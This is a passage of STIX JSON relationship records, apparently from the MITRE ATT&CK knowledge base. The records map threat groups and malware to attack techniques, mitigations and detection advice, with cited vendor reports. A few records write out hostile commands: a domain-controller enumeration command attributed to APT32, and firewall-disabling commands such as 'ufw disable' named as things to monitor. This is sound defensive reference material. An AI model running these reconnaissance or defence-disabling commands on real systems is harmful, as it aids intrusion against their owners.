"uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6006789-f164-4616-9a1f-20fd2b34113f", "type": "relationship", "created": "2021-10-16T01:16:00.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-10-16T01:16:00.854Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) contains JavaScript code that can extract an encoded blob from its HTML body and write it to disk.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a601c8b3-4d54-42d9-a2fd-61455a5dff4a", "type": "relationship", "created": "2020-03-16T15:48:34.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T19:27:46.628Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a602aa34-5b1d-4b46-93e7-21252e85a656", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may abuse SQL stored procedures to establish persistent access to systems. On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NetSPI Startup Stored Procedures", "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019.", "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a", "type": "relationship", "created": "2017-05-31T21:33:27.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Poseidon Group", "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}], "modified": "2020-03-18T20:25:55.175Z", "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)", "relationship_type": "uses", "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6046634-68c8-4a9e-a58f-58fd8876346a", "type": "relationship", "created": "2020-05-28T16:38:03.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-12T16:15:05.032Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them. It can continue tagging documents to collect with follow up scans.(Citation: Eset Ramsay May 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6080757-7935-439b-b70f-72ba841cda03", "type": "relationship", "created": "2019-01-31T01:07:58.596Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-29T16:54:25.889Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has enumerated DC servers using the command <code>net group \"Domain Controllers\" /domain</code>. The group has also used the <code>ping</code> command.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a60c0123-95a3-4409-a60e-354e4237d6cb", "type": "relationship", "created": "2020-10-13T22:37:00.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", "source_name": "Dell Threat Group 2889"}], "modified": "2020-10-13T22:37:00.995Z", "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created fake LinkedIn profiles that included profile photos, details, and connections.(Citation: Dell Threat Group 2889)", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a60d34fc-9c1e-4b36-a82b-56258445c7f0", "type": "relationship", "created": "2021-10-12T22:07:18.481Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks IRON LIBERTY July 2019", "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}, {"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-07T15:14:11.927Z", "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a613f562-50d2-4677-b3ad-70e097127f6d", "created": "2022-06-07T18:24:24.187Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can upload files from a compromised host.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-07T18:24:24.187Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6150e37-2411-409f-82a0-e259d55d1166", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto T9000 Feb 2016", "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}], "modified": "2020-03-30T03:07:37.793Z", "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.(Citation: Palo Alto T9000 Feb 2016)", "relationship_type": "uses", "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a6175b80-3f45-4d17-9e00-67f32b973ea4", "created": "2022-01-25T15:21:10.120Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CharmPower](https://attack.mitre.org/software/S0674) has the ability to list running processes through the use of `tasklist`.(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T21:05:20.089Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:38:38.787Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a622b97a-e473-45a5-9e93-85c883f02074", "type": "relationship", "created": "2019-03-12T16:13:15.691Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "source_name": "ClearSky Wilted Tulip July 2017"}], "modified": "2019-05-03T16:42:19.252Z", "description": "(Citation: ClearSky Wilted Tulip July 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a624f944-5f3e-4713-9e89-9964ae82c677", "type": "relationship", "created": "2020-10-15T02:00:30.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. 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(2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022."}, {"source_name": "Cisco CaddyWiper March 2022", "url": "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", "description": "Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. 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(2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."}, {"source_name": "Cylance Sodinokibi July 2019", "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html", "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}, {"source_name": "McAfee Sodinokibi October 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."}, {"source_name": "Picus Sodinokibi January 2020", "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. 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Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:44.163Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.(Citation: Unit 42 Inception November 2018)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit USBStealer 2014", "description": "Calvet, J. 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Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. [Launch Agent](https://attack.mitre.org/techniques/T1543/001) or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a68cb676-409e-483d-8af1-500d57ad1f81", "created": "2021-12-27T16:53:13.989Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used HTTP for C2 communications.(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a68d8191-b374-4741-a249-1db3515d581b", "type": "relationship", "created": "2019-07-19T17:14:24.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2020-03-17T14:55:47.412Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a68e6fa7-1d89-48ba-9b0e-0e1378ba52c0", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor executed commands and arguments associated with disabling or the modification of system firewalls such as <code>netsh advfirewall firewall set rule group=\"file and printer sharing\" new enable=Yes</code>,<code>ufw disable</code>, and <code>ufw logging off</code>.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}], "modified": "2019-09-16T19:41:10.245Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.(Citation: Talos Cobalt Group July 2018)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a68fb27c-1aaf-474f-b97c-aff986eb5bbe", "type": "relationship", "created": "2021-06-22T15:20:39.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-10-11T14:01:45.761Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [Wevtutil](https://attack.mitre.org/software/S0645) to remove PowerShell execution logs.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6904fd0-d121-4b26-b05c-1615e3baf599", "created": "2022-07-14T17:37:24.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}, {"source_name": "BlackBerry Amadey 2020", "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.", "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T15:39:50.134Z", "description": "[Amadey](https://attack.mitre.org/software/S1025) has collected the computer name and OS version from a compromised machine.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6944696-304c-4813-8285-56275e926f9f", "type": "relationship", "created": "2019-04-23T20:46:57.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", "source_name": "CoinTicker 2019"}], "modified": "2019-04-29T21:19:35.026Z", "description": "[CoinTicker](https://attack.mitre.org/software/S0369) decodes the initially-downloaded hidden encoded file using OpenSSL.(Citation: CoinTicker 2019)", "relationship_type": "uses", "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6959fa0-405c-49b9-983e-653569247dbd", "type": "relationship", "created": "2021-09-14T20:47:33.528Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sentinel Labs WastedLocker July 2020", "url": "https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", "description": "Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}], "modified": "2021-09-14T20:47:33.528Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can enumerate removable drives prior to the encryption process.(Citation: Sentinel Labs WastedLocker July 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T00:19:44.130Z", "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a69bd4c0-ddaa-4dec-a35d-b067ae1d95fc", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.704Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor processes.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 